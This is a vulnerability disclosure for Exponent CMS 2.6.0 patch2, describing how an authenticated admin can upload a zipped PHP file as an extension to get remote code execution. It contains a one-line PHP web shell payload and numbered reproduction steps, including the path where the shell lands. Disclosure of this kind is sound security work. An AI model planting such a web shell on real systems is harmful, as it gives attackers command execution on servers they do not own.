Exponent CMS 2.6.0 patch2 - Insecure file upload (RCE)

Description

Exponent CMS 2.6.0 patch2 allows an authenticated admin user to upload a malicious extension in the format of a zip file with a php file inside it. After upload it, the php file will be placed at themes/simpletheme/{rce}.php from where can be access in order to execute commands.

Proof of Concept

1. Click on the Exponent logo located on the upper left corner.

2. Go to 'Super-Admin Tools' > 'Extensions' > 'Install Extension'.

3. Click on 'Upload Extension'.

4. Create a malicious PHP file with the following PoC.

   <?php echo system($_GET['cmd']);

5. Zip the php file.

6. Upload the zip file.

7. Click on 'Upload Extension'

8. Next, click on 'Continue with Installation'.

9. Go to http://127.0.0.1/exponentcms/themes/simpletheme/{rce}.php in order to execute commands.

System Information:

• Version: Exponent CMS 2.6.0 patch2.

• Operating System: Linux.

• Web Server: Apache

• PHP Version: 7.4

• Database and version: Mysql

Exploit

There is no exploit for the vulnerability but can be manually exploited.

Mitigation

By 2022-02-03 there is not a patch resolving the issue.

References

• Vendor page https://www.exponentcms.org/

• Ticket https://exponentcms.lighthouseapp.com/projects/61783/tickets/1460

• Issue https://github.com/exponentcms/exponent-cms/issues/1546